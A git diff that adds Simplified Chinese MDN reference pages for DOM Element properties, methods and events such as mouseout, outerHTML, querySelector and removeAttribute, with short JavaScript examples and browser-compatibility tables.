当你尝试的时候,你会发现 mouseout 被添加到单个列表项目上,而 mouseleave 则应用于整个列表,这取决于列表项目的层次关系,而列表项目遮盖了底层的 <ul>

+ +

HTML

+ +
<ul id="test">
+  <li>item 1</li>
+  <li>item 2</li>
+  <li>item 3</li>
+</ul>
+
+ +

JavaScript

+ +
let test = document.getElementById("test");
+
+// 当鼠标移出<ul>元素时,短暂地将列表变成紫色
+test.addEventListener("mouseleave", function( event ) {
+  // 高亮mouseleave的目标
+  event.target.style.color = "purple";
+
+  // 延迟一秒后重置颜色
+  setTimeout(function() {
+    event.target.style.color = "";
+  }, 1000);
+}, false);
+
+// 当鼠标离开<li>元素时,短暂地将其变成橙色
+test.addEventListener("mouseout", function( event ) {
+  // 高亮mouseout的目标
+  event.target.style.color = "orange";
+
+  // 延迟500ms后重置颜色
+  setTimeout(function() {
+    event.target.style.color = "";
+  }, 500);
+}, false);
+ +

结果

+ +

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态
{{SpecName('UI Events', '#event-type-mouseout', 'mouseout')}}{{Spec2('UI Events')}}
{{SpecName('DOM3 Events', '#event-type-mouseout', 'mouseout')}}{{Spec2('DOM3 Events')}}
+ +

浏览器兼容性

+ +

{{Compat("api.Element.mouseout_event")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/element/mouseup_event/index.html b/files/zh-cn/web/api/element/mouseup_event/index.html new file mode 100644 index 0000000000..cc1669ac37 --- /dev/null +++ b/files/zh-cn/web/api/element/mouseup_event/index.html @@ -0,0 +1,81 @@ +--- +title: mouseup +slug: Web/API/Element/mouseup_event +tags: + - API + - DOM + - Event + - MouseEvent + - Reference + - events + - mouse + - mouseup +translation_of: Web/API/Element/mouseup_event +--- +
{{APIRef}}
+ +

当指针在元素中时, mouseup事件在指针设备(如鼠标或触摸板)按钮放开时触发。mouseup 事件与{{domxref("Element.mousedown_event", "mousedown")}} 事件相反。

+ + + + + + + + + + + + + + + + + + + + +
BubblesYes
CancelableYes
Interface{{domxref("MouseEvent")}}
Event handler property{{domxref("GlobalEventHandlers.onmouseup", "onmouseup")}}
+ +

示例

+ +

{{page("/en-US/docs/Web/API/Element/mousemove_event", "Examples")}}

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态
{{SpecName('UI Events', '#event-type-mouseup', 'mouseup')}}{{Spec2('UI Events')}}
{{SpecName('DOM3 Events', '#event-type-mouseup', 'mouseup')}}{{Spec2('DOM3 Events')}}
+ +

浏览器兼容性

+ +

{{Compat("api.Element.mouseup_event")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/element/name/index.html b/files/zh-cn/web/api/element/name/index.html new file mode 100644 index 0000000000..935592afff --- /dev/null +++ b/files/zh-cn/web/api/element/name/index.html @@ -0,0 +1,70 @@ +--- +title: Element.name +slug: Web/API/Element/name +translation_of: Web/API +--- +

{{ APIRef() }}

+ +

概述

+ +

name 获取或设置一个 DOM 对象的 name 属性;它只能应用于下列元素:{{ HTMLelement("a") }}, {{ HTMLelement("applet") }}, {{ HTMLelement("button") }}, {{ HTMLelement("form") }}, {{ HTMLelement("frame") }}, {{ HTMLelement("iframe") }}, {{ HTMLelement("img") }}, {{ HTMLelement("input") }}, {{ HTMLelement("map") }}, {{ HTMLelement("meta") }}, {{ HTMLelement("object") }}, {{ HTMLelement("param") }}, {{ HTMLelement("select") }}, and {{ HTMLelement("textarea") }}.

+ +
+

需要注意的是,name 属性在其他类型元素上不存在。它不是 {{domxref("Element")}} 或 {{domxref("HTMLElement")}} 接口的一个属性。

+
+ +

Name 可被使用于 {{ domxref("document.getElementsByName()") }} 方法,form 以及 the form elements collection。当使用于表单(form)或表单元素(form elements collection)时,可能返回一个单独的元素或一个元素集合。

+ +

语法

+ +
HTMLElement.name = string;
+var elName = HTMLElement.name;
+
+var fControl = HTMLFormElement.elementName;
+var controlCollection = HTMLFormElement.elements.elementName;
+
+ +

例子

+ +
<form action="" name="formA">
+  <input type="text" value="foo">
+</form>
+
+<script type="text/javascript">
+
+  // 获取表单中第一个元素的引用
+  var formElement = document.forms['formA'].elements[0];
+
+  // 设置一个 name
+  formElement.name = 'inputA';
+
+  // 显示 input 的 value 值
+  alert(document.forms['formA'].elements['inputA'].value);
+
+</script>
+
+ +

备注

+ +

在 IE6 中,使用 {{domxref("document.createElement()")}} 方法创建的 DOM 对象的 name 属性不能被更改。

+ +

规范

+ +

W3C DOM 2 HTML Specification:

+ + diff --git a/files/zh-cn/web/api/element/namespaceuri/index.html b/files/zh-cn/web/api/element/namespaceuri/index.html new file mode 100644 index 0000000000..540f00e9c2 --- /dev/null +++ b/files/zh-cn/web/api/element/namespaceuri/index.html @@ -0,0 +1,115 @@ +--- +title: Element.namespaceURI +slug: Web/API/Element/namespaceURI +translation_of: Web/API/Element/namespaceURI +--- +
{{APIRef("DOM")}}
+ +

Element.namespaceURI 是一个只读属性,它返回元素的命名空间,若该元素不在命名空间中则返回null .

+ +
+

在DOM4之前, 这个 API 在接口 {{domxref("Node")}} 中定义 .

+
+ +

语法

+ +
namespace = element.namespaceURI
+ +

例子

+ +

在这段代码中,我们检查了元素的{{domxref("localName")}}和namespaceURI。如果 namespaceURI 返回 XUL 命名空间, localName 返回"browser",于是这个节点被理解为是一个XUL <browser/>

+ +
if (element.localName == "browser" &&
+    element.namespaceURI == "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul") {
+  // this is a XUL browser
+}
+ +

注意

+ +

这不是一个计算值,它是基于范围内的名称空间声明检查的名称空间查找的结果。节点命名空间在节点创建时被冻结。

+ +

在Firefox 3.5 以及之前的版本, HTML文档中的HTML元素的名称空间URI为 null。 在更早的版本中, 符合HTML5, 它是http://www.w3.org/1999/xhtml 如 XHTML。{{gecko_minversion_inline("1.9.2")}}

+ +

您可以使用DOM Level 2方法指定的namespaceURI创建一个元素 document.createElementNS

+ +

DOM本身不处理或执行名称空间验证。 它由DOM应用程序完成,以执行任何必要的验证。注意,名称空间前缀一旦与某个特定元素相关联,就不能更改。

+ +

说明

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM4", "#dom-element-namespaceuri", "Element.namespaceuri")}}{{Spec2("DOM4")}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support46.0[1]{{CompatGeckoDesktop("48.0")}}[1]{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatGeckoMobile("48.0")}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] 这API 可以预先在 {{domxref("Node")}} API中获得.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/element/onafterscriptexecute/index.html b/files/zh-cn/web/api/element/onafterscriptexecute/index.html new file mode 100644 index 0000000000..f1e976522e --- /dev/null +++ b/files/zh-cn/web/api/element/onafterscriptexecute/index.html @@ -0,0 +1,44 @@ +--- +title: element.onafterscriptexecute +slug: Web/API/Element/onafterscriptexecute +tags: + - DOM + - onafterscriptexecute +translation_of: Web/API/Document/onafterscriptexecute +--- +
{{ApiRef}}{{gecko_minversion_header("2")}}
+ +

概述

+ +

当HTML文档中的{{HTMLElement("script")}}标签内的代码执行完毕时触发该事件,如果这个script标签是用appendChild()等方法动态添加上去的,则不会触发该事件.

+ +

语法

+ +
document.onafterscriptexecute = funcRef;
+
+ +

afterscriptexecute事件触发时,funcRef函数就会被调用. 传入参数eventtarget属性指向触发该事件的那个script元素.

+ +

例子

+ +
function finished(e) {
+  logMessage("Finished script with ID: " + e.target.id);
+}
+
+document.addEventListener("afterscriptexecute", finished, true);
+
+ +

查看在线演示

+ +

规范

+ + + +

相关链接

+ + diff --git a/files/zh-cn/web/api/element/onfullscreenchange/index.html b/files/zh-cn/web/api/element/onfullscreenchange/index.html new file mode 100644 index 0000000000..2a2b2416cf --- /dev/null +++ b/files/zh-cn/web/api/element/onfullscreenchange/index.html @@ -0,0 +1,78 @@ +--- +title: Element.onfullscreenchange +slug: Web/API/Element/onfullscreenchange +translation_of: Web/API/Element/onfullscreenchange +--- +
元素接口的 onfullscreenchange 属性是在元素过渡到或过渡到全屏模式时触发的全屏更改事件的事件处理程序。
+ +

语法

+ +
targetDocument.onfullscreenchange = fullscreenChangeHandler;
+
+ +

+ +

当事件处理程序处于 fullscreenchange 模式的时候, 表明游戏元素被改变了或者是退出了全屏模式

+ +

Example

+ +

本示例建立一个fullscreenchange 处理程序, handleFullscreenChange ()。此函数通过检查 event.target 的值来确定调用它的元素, 然后将文档的fullscreenElement 值与元素进行比较, 以查看它们是否为同一节点。

+ +

这给了我们一个值, 即 isFullscreen, 我们将其传递到一个名为 adjustMyControls() 的函数, 我们想象它是一个函数, 可以对应用的用户界面进行调整, 以便在全屏模式下而不是在窗口。

+ +
function toggleFullscreen() {
+  let elem = document.querySelector("video");
+
+  elem.onfullscreenchange = handleFullscreenChange;
+  if (!document.fullscreenElement) {
+    elem.requestFullscreen().then({}).catch(err => {
+      alert(`Error attempting to enable full-screen mode: ${err.message} (${err.name})`);
+    });
+  } else {
+    document.exitFullscreen();
+  }
+}
+
+function handleFullscreenChange(event) {
+  let elem = event.target;
+  let isFullscreen = document.fullscreenElement === elem;
+
+  adjustMyControls(isFullscreen);
+}
+
+ +

 

+ +

程序规范

+ + + + + + + + + + + + + + +
规范表达式程序状态解释
Fullscreen API
+ The definition of 'Document.fullscreenElement' in that specification.
Living Standard初始化定义
+ +

浏览器适配

+ +

请切换至英文版本查看浏览器适配统计表

+ +

此页上的兼容性表是由结构化数据生成的。如果您想提供数据, 请查看 https://github.com/mdn/browser-compat-data 并向我们发送 pull request

+ +

其他

+ + diff --git a/files/zh-cn/web/api/element/onfullscreenerror/index.html b/files/zh-cn/web/api/element/onfullscreenerror/index.html new file mode 100644 index 0000000000..de9e5353c4 --- /dev/null +++ b/files/zh-cn/web/api/element/onfullscreenerror/index.html @@ -0,0 +1,64 @@ +--- +title: Element.onfullscreenerror +slug: Web/API/Element/onfullscreenerror +translation_of: Web/API/Element/onfullscreenerror +--- +
{{ApiRef("Fullscreen API")}}
+ +

{{domxref("Element")}} 接口的 onfullscreenerror 属性是在{{domxref("Element")}} 过渡到或退出全屏模式发生错误后处理事件{{event("fullscreenerror")}}的事件处理程序。

+ +

语法

+ +
targetElement.onfullscreenerror = fullscreenErrorHandler;
+
+ +

+ +

一个处理事件{{event("fullscreenerror")}}的事件处理程序.

+ +

示例

+ +

本示例尝试不从用户发起的事件(如点击事件{{event("click")}}或键盘事件{{event("keypress")}})处理程序来触发全屏,由于全屏模式只允许由用户主动输入触发,因此该操作会发生错误,从而导致{{domxref("Element")}}会触发{{event("fullscreenerror")}}事件传递给错误处理程序

+ +
let elem = document.querySelector("video")}}
+
+elem.onfullscreenerror = function ( event ) {
+  displayWarning("Unable to switch into full-screen mode.");
+};
+
+//....
+
+elem.requestFullscreen();
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Fullscreen", "#dom-element-onfullscreenerror", "onfullscreenerror")}}{{Spec2("HTML WHATWG")}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Element.onfullscreenerror")}}

+ +

其他

+ + diff --git a/files/zh-cn/web/api/element/ongotpointercapture/index.html b/files/zh-cn/web/api/element/ongotpointercapture/index.html new file mode 100644 index 0000000000..da417313c2 --- /dev/null +++ b/files/zh-cn/web/api/element/ongotpointercapture/index.html @@ -0,0 +1,142 @@ +--- +title: Element.ongotpointercapture +slug: Web/API/Element/ongotpointercapture +tags: + - API + - DOM + - Element + - Event Handler + - Pointer Events + - Property + - Reference + - 事件句柄 + - 元素 + - 属性 + - 引用 + - 指针事件 +translation_of: Web/API/GlobalEventHandlers/ongotpointercapture +--- +

{{ ApiRef("DOM") }}

+ +

ongotpointercapture 是一个{{domxref("Element")}} 接口的{{domxref("EventHandler")}} 属性,返回一个{{event("gotpointercapture")}} 事件类型的事件句柄 (function) .

+ +

语法

+ +
var gotCaptureHandler = target.ongotpointercapture;
+
+ +

Return value

+ +
+
gotCaptureHandler
+
元素 target 的gotpointercapture 事件句柄。 .
+
+ +

Example

+ +
<html>
+<script>
+function overHandler(ev) {
+ // Determine the target event's gotpointercapture handler
+ var gotCaptureHandler = ev.target.ongotpointercapture;
+}
+function init() {
+ var el=document.getElementById("target");
+ el.onpointerover = overHandler;
+}
+</script>
+<body onload="init();">
+<div id="target"> Touch me ... </div>
+</body>
+</html>
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Pointer Events 2','#widl-Element-ongotpointercapture', 'ongotpointercapture')}}{{Spec2('Pointer Events 2')}}无稳定版
{{SpecName('Pointer Events', '#widl-Element-ongotpointercapture', 'ongotpointercapture')}}{{Spec2('Pointer Events')}}Initial definition.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}} [1]{{CompatIE("10")}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatIE("10")}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] Implementation withdrawn. See {{Bug("1166347")}}.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/element/openorclosedshadowroot/index.html b/files/zh-cn/web/api/element/openorclosedshadowroot/index.html new file mode 100644 index 0000000000..145350e232 --- /dev/null +++ b/files/zh-cn/web/api/element/openorclosedshadowroot/index.html @@ -0,0 +1,35 @@ +--- +title: Element.openOrClosedShadowRoot +slug: Web/API/Element/openOrClosedShadowRoot +translation_of: Web/API/Element/openOrClosedShadowRoot +--- +
{{APIRef("Shadow DOM")}}{{Draft}}{{non-standard_header}} +
Note: This API is available only to WebExtensions.
+
+ +

Element.openOrCloseShadowRoot 是一个只读属性。represents the shadow root hosted by the element, regardless if its {{DOMxRef("ShadowRoot.mode", "mode")}} is open or closed. Use {{DOMxRef("Element.attachShadow()")}} to add a shadow root to an existing element.

+ +

Syntax

+ +
var shadowroot = element.shadowRoot;
+
+ +

Value

+ +

A {{DOMxRef("ShadowRoot")}} object instance, regardless if its {{DOMxRef("ShadowRoot.mode", "mode")}} is set to open or closed, or null if no shadow root is present. (See {{DOMxRef("Element.attachShadow()")}} for further details).

+ +

Specifications

+ +

This property is not part of any specification.

+ +

Browser compatibility

+ + + +

{{Compat("api.Element.openOrClosedShadowRoot")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/element/outerhtml/index.html b/files/zh-cn/web/api/element/outerhtml/index.html new file mode 100644 index 0000000000..ae4983baec --- /dev/null +++ b/files/zh-cn/web/api/element/outerhtml/index.html @@ -0,0 +1,172 @@ +--- +title: element.outerHTML +slug: Web/API/Element/outerHTML +tags: + - 'You Don''t Need jQuery & http://youmightnotneedjquery.com/' + - insertAdjacentHTML + - outerHTML +translation_of: Web/API/Element/outerHTML +--- +

{{APIRef("DOM")}}

+ +

 {{ domxref("element") }}  DOM接口的outerHTML属性获取描述元素(包括其后代)的序列化HTML片段。它也可以设置为用从给定字符串解析的节点替换元素。

+ +

要仅获取元素内容的HTML表示形式或替换元素的内容,请使用 {{domxref("Element.innerHTML", "innerHTML")}} 属性

+ +

语法

+ +
let content = element.outerHTML;
+
+ +

返回时,内容包含描述元素及其后代的序列化HTML片段。

+ +
element.outerHTML = content;
+
+ +

将元素替换为通过使用元素的父作为片段解析算法的上下文节点解析字符串内容生成的节点。

+ +

例子

+ +

获取一个元素的outerHTML属性的值:

+ +
// HTML:
+/*
+<div id="d">
+    <p>Content</p>
+    <p>Further Elaborated</p>
+</div>
+*/
+
+const d = document.getElementById("d");
+console.log(d.outerHTML);
+
+/*
+    字符串 '<div id="d"><p>Content</p><p>Further Elaborated</p></div>'
+    被显示到控制台窗口
+*/
+
+ +

通过设置outerHTML属性来替换节点:

+ +
// HTML:
+/*
+<div id="container">
+    <div id="d">This is a div.</div>
+</div>
+*/
+
+let container = document.getElementById("container");
+let d = document.getElementById("d");
+
+console.log(container.firstChild.nodeName);
+// logs "div"
+
+d.outerHTML = "<p>This paragraph replaced the original div.</p>";
+
+console.log(container.firstChild.nodeName);
+// logs "P"
+
+/*
+    #d div不再是文档树的一部分,新段替换了它。
+    (不在页面中显示,但仍然在内存中) 
+*/
+
+ +

注意事项

+ +

如果元素没有父元素,即如果它是文档的根元素,则设置其outerHTML属性将抛出一个带有错误代码 NO_MODIFICATION_ALLOWED_ERRDOMException 。例如:

+ +
document.documentElement.outerHTML = "test";
+// 抛出一个 DOMException
+
+ +

此外,虽然元素将在文档中被替换,设置了outerHTML属性的变量仍将保持对原始元素的引用:

+ +
let p = document.getElementsByTagName("p")[0];
+console.log(p.nodeName);
+// 显示: "P"
+p.outerHTML = "<div>This div replaced a paragraph.</div>";
+
+console.log(p.nodeName);
+// 仍然为: "P";
+
+ +

 

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM Parsing', '#outerhtml', 'Element.outerHTML')}}{{ Spec2('DOM Parsing') }} 
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{ CompatGeckoDesktop("11") }}0.24.071.3
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatGeckoMobile("11") }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/element/prefix/index.html b/files/zh-cn/web/api/element/prefix/index.html new file mode 100644 index 0000000000..ac7b60c010 --- /dev/null +++ b/files/zh-cn/web/api/element/prefix/index.html @@ -0,0 +1,112 @@ +--- +title: Element.prefix +slug: Web/API/Element/prefix +translation_of: Web/API/Element/prefix +--- +
{{APIRef("DOM")}}
+ +

Element.prefix 只读属性返回指定元素的命名空间前缀,如果未指定前缀,则返回null。

+ +
+

在DOM4之前,该API是在 {{domxref("Node")}}  interface 中定义的。

+
+ +

Syntax

+ +
string = element.prefix
+
+ +

Examples

+ +

The following logs "x" to the console.

+ +
<x:div onclick="console.log(this.prefix)"/>
+
+ +

Notes

+ +

This will only work when a namespace-aware parser is used, i.e. when a document is served with an XML MIME type. This will not work for HTML documents.

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM4", "#dom-element-prefix", "Element.prefix")}}{{Spec2("DOM4")}}Initial definition
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support46.0[1]{{CompatVersionUnknown}}{{CompatGeckoDesktop("48.0")}}[1]{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("48.0")}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] This API was previously available on the {{domxref("Node")}} API.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/element/queryselector/index.html b/files/zh-cn/web/api/element/queryselector/index.html new file mode 100644 index 0000000000..340fd3b9b1 --- /dev/null +++ b/files/zh-cn/web/api/element/queryselector/index.html @@ -0,0 +1,132 @@ +--- +title: Element.querySelector() +slug: Web/API/Element/querySelector +tags: + - Element.querySelector() +translation_of: Web/API/Element/querySelector +--- +
{{APIRef("DOM")}}
+ +
返回与指定的选择器组匹配的元素的后代的第一个元素。
+ +

语法

+ +
element = baseElement.querySelector(selectors);
+
+ + + +

参数

+ +
+
selectors
+
一组用来匹配{{domxref("Element")}} baseElement后代元素的选择器selectors;必须是合法的css选择器,否则会引起语法错误。返回匹配指定选择器的第一个元素。
+
+ +

返回值

+ +

基础元素(baseElement)的子元素中满足指定选择器组的第一个元素。匹配过程会对整个结构进行,包括基础元素和他的后代元素的集合以外的元素,也就是说,选择器首先会应用到整个文档,而不是基础元素,来创建一个可能有匹配元素的初始列表。然后从结果元素中检查它们是否是基础元素的后代元素。第一个匹配的元素将会被querySelector()方法返回。

+ +

如果没有找到匹配项,返回值为null。

+ +

异常

+ +
+
SyntaxError
+
指定的选择器无效。
+
+ +

例子

+ +

我们来看几个例子。

+ +

查找一个具有特殊属性值的元素

+ +

在第一个例子中,会返回HTML文档里第一个没有type属性或者有值为“text/css”的type属性的{{HTMLElement("style")}}元素:

+ +
let el = document.body.querySelector("style[type='text/css'], style:not([type])");
+
+ +

整个层次结构有效

+ +

下面的例子演示了在应用选择器时考虑整个文档的层次结构, 因此在定位匹配时仍然考虑指定的 baseElement 之外的级别。

+ +

HTML

+ +
<div>
+  <h5>Original content</h5>
+  <p>
+    inside paragraph
+    <span>inside span</span>
+    inside paragraph
+  </p>
+</div>
+<div>
+  <h5>Output</h5>
+  <div id="output"></div>
+</div>
+ +

JavaScript

+ +
var baseElement = document.querySelector("p");
+document.getElementById("output").innerHTML =
+         (baseElement.querySelector("div span").innerHTML);
+ +

结果

+ +

结果是像这样的:

+ +

{{ EmbedLiveSample('The_entire_hierarchy_counts', 600, 160) }}

+ +

注意,尽管基础元素没有包括选择器中含有的 {{domxref("div")}} 元素,选择器"div span"依旧匹配了其中的{{HTMLElement("span")}}元素。 

+ +

更多例子

+ +

 {{domxref("Document.querySelector()")}} 查看更多正确格式选择器的例子。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
规范StatusComment
{{SpecName('DOM4','#dom-parentnode-queryselectorallselectors','querySelectorAll()')}}{{Spec2('DOM4')}} 
{{SpecName('Selectors API Level 2','#queryselectorall','querySelectorAll()')}}{{Spec2('Selectors API Level 2')}} 
{{SpecName('Selectors API Level 1','#queryselectorall','querySelectorAll()')}}{{Spec2('Selectors API Level 1')}} 
+ +

浏览器兼容性

+ + + +

{{Compat("api.Element.querySelector")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/element/queryselectorall/index.html b/files/zh-cn/web/api/element/queryselectorall/index.html new file mode 100644 index 0000000000..d432c28ed2 --- /dev/null +++ b/files/zh-cn/web/api/element/queryselectorall/index.html @@ -0,0 +1,135 @@ +--- +title: Element.querySelectorAll() +slug: Web/API/Element/querySelectorAll +translation_of: Web/API/Element/querySelectorAll +--- +
{{APIRef("DOM")}}
+ +

返回一个non-live的NodeList, 它包含所有元素的非活动节点,该元素来自与其匹配指定的CSS选择器组的元素。(基础元素本身不包括,即使它匹配。)

+ +
+

注意:该API的定义已被移动到 {{domxref("ParentNode")}} 接口。

+
+ +

语法

+ +
elementList = baseElement.querySelectorAll(selectors);
+
+ +

其中

+ + + +

示例

+ +

dataset selector & attribute selectors

+ +
<section class="box" id="sect1">
+  <div class="funnel-chart-percent1">10.900%</div>
+  <div class="funnel-chart-percent2">3700.00%</div>
+  <div class="funnel-chart-percent3">0.00%</div>
+</section>
+
+ +
// dataset selectors
+const refs = [...document.querySelectorAll(`[data-name*="funnel-chart-percent"]`)];
+
+// attribute selectors
+// const refs = [...document.querySelectorAll(`[class*="funnel-chart-percent"]`)];
+// const refs = [...document.querySelectorAll(`[class^="funnel-chart-percent"]`)];
+// const refs = [...document.querySelectorAll(`[class$="funnel-chart-percent"]`)];
+// const refs = [...document.querySelectorAll(`[class~="funnel-chart-percent"]`)];
+
+ +

下面的例子返回了HTML文档中的body元素的所有p后代元素:

+ +
var matches = document.body.querySelectorAll('p');
+
+ +

下面的例子返回了id'test'的元素的所有class属性为'highlighted'的所有div后代元素的p子元素:

+ +
var el = document.querySelector('#test');
+var matches = el.querySelectorAll('div.highlighted > p');
+
+ +

下面的例子返回了el元素的后代元素中所有拥有data-src属性的iframe元素:

+ +
var matches = el.querySelectorAll('iframe[data-src]');
+
+ +

附注

+ +

如果指定的CSS选择器不合法,则会抛出一个SYNTAX_ERR 异常.

+ +

返回值是一个NodeList对象,所以不推荐使用 for...in去遍历它(会遍历出其他无关属性)

+ +

想要在它身上使用数组方法,必须先把它转换为真正的数组.

+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support1{{CompatGeckoDesktop("1.9.1")}}8103.2 (525.3)
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile("1.9.1")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
+
+ +

规范

+ + + +

相关链接

+ + diff --git a/files/zh-cn/web/api/element/removeattribute/index.html b/files/zh-cn/web/api/element/removeattribute/index.html new file mode 100644 index 0000000000..92a3d3844b --- /dev/null +++ b/files/zh-cn/web/api/element/removeattribute/index.html @@ -0,0 +1,54 @@ +--- +title: Element.removeAttribute() +slug: Web/API/Element/removeAttribute +tags: + - 属性 + - 方法 +translation_of: Web/API/Element/removeAttribute +--- +

{{ APIRef("DOM") }}

+ +

{{domxref("Element", "元素")}}方法 removeAttribute() 从指定的元素中删除一个属性。

+ +

语法

+ +
element.removeAttribute(attrName);
+
+ +

参数

+ +
+
属性名
+
{{domxref("DOMString")}}指定要从元素中移除的属性的名称。如果指定的属性不存在,则removeAttribute()返回,但不会生成错误。
+
+ +

返回值

+ +

IE 返回boolean类型值,其他返回undefined

+ +
+

注意:因为 removeAttribute() 不会返回任何有效值,你不能使用链式方法(连续使用方法,例如 document.body.removeAttribute("first").removeAttribute("second")…)连续移除多个属性。

+
+ +

使用说明

+ +

若要彻底移除一个属性的效果,应当使用  removeAttribute(),而不是使用 {{domxref("Element.setAttribute", "setAttribute()")}} 将属性值设置为  null。对于许多属性,如果仅将其值设为 null,这不会造达成和预期一样的效果。

+ +

{{ DOMAttributeMethods() }}

+ +

例子

+ +
// Given: <div id="div1" align="left" width="200px">
+document.getElementById("div1").removeAttribute("align");
+// Now: <div id="div1" width="200px">
+
+ +

规范

+ +

DOM Level 2 Core: removeAttribute (introduced in DOM Level 1 Core)

+ +

浏览器兼容性

+ + + +

{{Compat("api.Element.removeAttribute")}}

diff --git a/files/zh-cn/web/api/element/removeattributenode/index.html b/files/zh-cn/web/api/element/removeattributenode/index.html new file mode 100644 index 0000000000..aa4f31a331 --- /dev/null +++ b/files/zh-cn/web/api/element/removeattributenode/index.html @@ -0,0 +1,40 @@ +--- +title: Element.removeAttributeNode() +slug: Web/API/Element/removeAttributeNode +translation_of: Web/API/Element/removeAttributeNode +--- +

{{ APIRef("DOM") }}

+ +

removeAttributeNode 从当前的 element(元素节点) 删除指定的属性

+ +

Syntax

+ +
removedAttr = element.removeAttributeNode(attributeNode)
+
+ + + +

例如

+ +
// <div id="top" align="center" />
+var d = document.getElementById("top");
+// getAttributeNode 返回指定元素的指定属性, 返回值是 Attr 节点类型
+var d_align = d.getAttributeNode("align");
+d.removeAttributeNode(d_align);
+//  现在 align 被删除了: <div id="top" />
+
+ +

注意

+ +

如果删除有默认值的属性,相当于将属性值替换为默认值。属性只有在具有同样的命名空间、本地名称以及原始前缀时,才会在被删除的时候替换为默认值。

+ +

不像 setAttributeNode 和 setAttributeNodeNS 配对使用那样,需要知道要替换哪个现有属性。removeAttributeNode 没有那样的要求,也没有 removeAttributeNodeNS。removeAttributeNode可以删除命名空间以及非命名空间的属性。

+ +

{{ DOMAttributeMethods() }}

+ +

规范

+ +

DOM Level 2 Core: removeAttributeNode (DOM Level 1 Core 里面的介绍)

diff --git a/files/zh-cn/web/api/element/removeattributens/index.html b/files/zh-cn/web/api/element/removeattributens/index.html new file mode 100644 index 0000000000..f1c35b27fd --- /dev/null +++ b/files/zh-cn/web/api/element/removeattributens/index.html @@ -0,0 +1,37 @@ +--- +title: Element.removeAttributeNS() +slug: Web/API/Element/removeAttributeNS +translation_of: Web/API/Element/removeAttributeNS +--- +

{{ APIRef("DOM") }}

+ +

removeAttributeNS 移除元素的指定属性

+ +

{{ Fx_minversion_inline(3) }} 在Firefox 3及更高版本中,此方法会将DOM值重置为其默认值。

+ +

用法

+ +
element.removeAttributeNS(namespace,attrName);
+
+ + + +

例子

+ +
// <div id="div1" xmlns:special="http://www.mozilla.org/ns/specialspace"
+//      special:specialAlign="utterleft" width="200px" />
+d = document.getElementById("div1");
+d.removeAttributeNS("http://www.mozilla.org/ns/specialspace", "specialAlign");
+// now: <div id="div1" width="200px" />
+
+ +

Notes

+ +

{{ DOMAttributeMethods() }}

+ +

Specification

+ +

DOM Level 2 Core: removeAttributeNS

